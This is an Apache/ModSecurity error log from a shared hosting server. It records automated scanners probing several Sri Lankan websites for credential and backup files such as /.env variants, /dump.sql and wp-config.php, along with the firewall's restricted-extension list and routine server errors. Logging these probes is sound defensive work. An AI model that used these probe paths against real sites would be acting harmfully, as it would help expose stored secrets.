[Fri Jul 17 08:29:16.617827 2026] [security2:error] [pid 1993668:tid 1993668] [client 54.144.124.143:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ahavafoundation.lk"] [uri "/dump.sql"] [unique_id "almahBAi3pC6yjXGNq19ZwAAAAU"]
[Fri Jul 17 08:29:16.618246 2026] [security2:error] [pid 1993668:tid 1993668] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ahavafoundation.lk"] [uri "/dump.sql"] [unique_id "almahBAi3pC6yjXGNq19ZwAAAAU"]
[Fri Jul 17 08:29:16.618485 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1008) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/18fa0373d65c52bee52fabbd51283c83ccbdb27a.sock|fcgi://ahavafoundation.lk) HOSTNAME(ahavafoundation.lk) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:29:16.618645 2026] [security2:error] [pid 1993668:tid 1993668] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ahavafoundation.lk"] [uri "/index.php"] [unique_id "almahBAi3pC6yjXGNq19ZwAAAAU"]
[Fri Jul 17 08:29:16.676690 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ahavafoundation.lk"] [uri "/index.php"] [unique_id "almagARRrtuZqNDDSqWs6wAAABo"]
[Fri Jul 17 08:29:16.856138 2026] [security2:error] [pid 2014286:tid 2014286] [client 54.144.124.143:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ahavafoundation.lk"] [uri "/.env.production"] [unique_id "almahB15lhZh2QtC5qEWTgAAAB8"]
[Fri Jul 17 08:29:16.856382 2026] [security2:error] [pid 2014286:tid 2014286] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ahavafoundation.lk"] [uri "/.env.production"] [unique_id "almahB15lhZh2QtC5qEWTgAAAB8"]
[Fri Jul 17 08:29:16.875895 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.144.124.143:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ahavafoundation.lk"] [uri "/.env.backup"] [unique_id "almahAPhWp7RzB65h36fCAAAAA0"]
[Fri Jul 17 08:29:16.876098 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.144.124.143:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ahavafoundation.lk"] [uri "/.env.backup"] [unique_id "almahAPhWp7RzB65h36fCAAAAA0"]
[Fri Jul 17 08:29:16.876339 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ahavafoundation.lk"] [uri "/.env.backup"] [unique_id "almahAPhWp7RzB65h36fCAAAAA0"]
[Fri Jul 17 08:29:16.876529 2026] [hostinglimits:warn] [pid 2008451:tid 2008451] mod_hostinglimits: Error on LVE enter: LVE(1008) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/18fa0373d65c52bee52fabbd51283c83ccbdb27a.sock|fcgi://ahavafoundation.lk) HOSTNAME(ahavafoundation.lk) URL(/index.php) TID(2008451) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:29:16.876701 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ahavafoundation.lk"] [uri "/index.php"] [unique_id "almahAPhWp7RzB65h36fCAAAAA0"]
[Fri Jul 17 08:29:16.936447 2026] [authz_core:error] [pid 2014256:tid 2014256] [client 54.144.124.143:0] AH01630: client denied by server configuration: /home/ahavafoundation/public_html/wp-config.php
[Fri Jul 17 08:29:16.936629 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1008) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/18fa0373d65c52bee52fabbd51283c83ccbdb27a.sock|fcgi://ahavafoundation.lk) HOSTNAME(ahavafoundation.lk) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:29:16.986449 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:46070] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:29:17.235912 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:29:17.251927 2026] [ssl:error] [pid 2014308:tid 2014308] (70014)End of file found: [client 66.85.158.91:46082] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:29:17.598613 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1008) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/18fa0373d65c52bee52fabbd51283c83ccbdb27a.sock|fcgi://ahavafoundation.lk) HOSTNAME(ahavafoundation.lk) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:29:17.622956 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1008) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/18fa0373d65c52bee52fabbd51283c83ccbdb27a.sock|fcgi://ahavafoundation.lk) HOSTNAME(ahavafoundation.lk) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:29:17.862990 2026] [security2:error] [pid 1993574:tid 1993574] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ahavafoundation.lk"] [uri "/index.php"] [unique_id "almagN0t9Kb_MdNxrg6-7gAAAAM"]
[Fri Jul 17 08:29:19.243370 2026] [security2:error] [pid 1993584:tid 1993584] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ahavafoundation.lk"] [uri "/index.php"] [unique_id "almagFxP5-SsqbGuGB2lUAAAAAA"]
[Fri Jul 17 08:29:19.631122 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:29:19.837909 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:29:21.301348 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:58548] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:29:21.872513 2026] [security2:error] [pid 1993573:tid 1993573] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ahavafoundation.lk"] [uri "/index.php"] [unique_id "almagHt8zp89pALg8Q5lNgAAAA4"]
[Fri Jul 17 08:29:22.286336 2026] [mime:warn] [pid 2015187:tid 2015187] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:29:22.361606 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:29:22.385865 2026] [ssl:error] [pid 1994967:tid 1994967] (70014)End of file found: [client 66.85.158.91:58602] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:29:22.672964 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:58624] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:29:22.673206 2026] [security2:error] [pid 2013830:tid 2013830] [client 57.141.18.42:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory123/node0/memory17/node0/memory32/node0/memory88/removable"] [unique_id "almaigRRrtuZqNDDSqWs8QAAABo"]
[Fri Jul 17 08:29:22.673243 2026] [security2:error] [pid 2013830:tid 2013830] [client 57.141.18.42:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory123/node0/memory17/node0/memory32/node0/memory88/removable"] [unique_id "almaigRRrtuZqNDDSqWs8QAAABo"]
[Fri Jul 17 08:29:23.495066 2026] [ssl:error] [pid 2014256:tid 2014256] (70014)End of file found: [client 66.85.158.91:58660] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:29:24.358058 2026] [security2:error] [pid 1993998:tid 1993998] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ahavafoundation.lk"] [uri "/index.php"] [unique_id "almagGidQp3SsqeycPEs6AAAAAo"]
[Fri Jul 17 08:29:24.910966 2026] [mime:warn] [pid 2014279:tid 2014279] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:29:24.914978 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:58734] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:29:26.839220 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ahavafoundation.lk"] [uri "/index.php"] [unique_id "almahFh1WDijTxd1xw5JNAAAAAc"]
[Fri Jul 17 08:29:27.827195 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:29:27.869266 2026] [security2:error] [pid 1994956:tid 1994956] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ahavafoundation.lk"] [uri "/index.php"] [unique_id "almahAG5-NXx3Mem1QgOMAAAAA8"]
[Fri Jul 17 08:29:28.116169 2026] [security2:error] [pid 1993619:tid 1993619] [client 100.53.220.22:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "asrgroup.lk"] [uri "/.env.local"] [unique_id "almakI1dLClkUfK_dfHh0QAAAAI"]
[Fri Jul 17 08:29:28.116448 2026] [security2:error] [pid 1993619:tid 1993619] [client 100.53.220.22:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "asrgroup.lk"] [uri "/.env.local"] [unique_id "almakI1dLClkUfK_dfHh0QAAAAI"]
[Fri Jul 17 08:29:28.131872 2026] [security2:error] [pid 2015125:tid 2015125] [client 100.53.220.22:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "asrgroup.lk"] [uri "/.env.production"] [unique_id "almakBJ0z2bEtnOrIXU9NwAAAAk"]
[Fri Jul 17 08:29:28.132144 2026] [security2:error] [pid 2015125:tid 2015125] [client 100.53.220.22:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "asrgroup.lk"] [uri "/.env.production"] [unique_id "almakBJ0z2bEtnOrIXU9NwAAAAk"]
[Fri Jul 17 08:29:28.270529 2026] [security2:error] [pid 2015187:tid 2015187] [client 100.53.220.22:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "asrgroup.lk"] [uri "/.env.staging"] [unique_id "almakJht1IYIWQIv0_OHggAAAAs"]
[Fri Jul 17 08:29:28.270730 2026] [security2:error] [pid 2015187:tid 2015187] [client 100.53.220.22:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "asrgroup.lk"] [uri "/.env.staging"] [unique_id "almakJht1IYIWQIv0_OHggAAAAs"]
[Fri Jul 17 08:29:28.275713 2026] [security2:error] [pid 2014308:tid 2014308] [client 100.53.220.22:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "asrgroup.lk"] [uri "/.env"] [unique_id "almakAdFk8dCrY-oJNkdSAAAACA"]
[Fri Jul 17 08:29:28.275983 2026] [security2:error] [pid 2014308:tid 2014308] [client 100.53.220.22:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "asrgroup.lk"] [uri "/.env"] [unique_id "almakAdFk8dCrY-oJNkdSAAAACA"]
[Fri Jul 17 08:29:28.307058 2026] [security2:error] [pid 2013830:tid 2013830] [client 100.53.220.22:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "asrgroup.lk"] [uri "/.env.backup"] [unique_id "almakARRrtuZqNDDSqWs8gAAABo"]
[Fri Jul 17 08:29:28.307226 2026] [security2:error] [pid 2013830:tid 2013830] [client 100.53.220.22:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "asrgroup.lk"] [uri "/.env.backup"] [unique_id "almakARRrtuZqNDDSqWs8gAAABo"]
[Fri Jul 17 08:29:28.307468 2026] [security2:error] [pid 2013830:tid 2013830] [client 100.53.220.22:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "asrgroup.lk"] [uri "/.env.backup"] [unique_id "almakARRrtuZqNDDSqWs8gAAABo"]
[Fri Jul 17 08:29:28.372329 2026] [security2:error] [pid 1993574:tid 1993574] [client 54.224.18.120:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almakN0t9Kb_MdNxrg6--gAAAAM"]
[Fri Jul 17 08:29:28.372572 2026] [security2:error] [pid 1993574:tid 1993574] [client 54.224.18.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almakN0t9Kb_MdNxrg6--gAAAAM"]
[Fri Jul 17 08:29:28.372866 2026] [security2:error] [pid 1993574:tid 1993574] [client 54.224.18.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almakN0t9Kb_MdNxrg6--gAAAAM"]
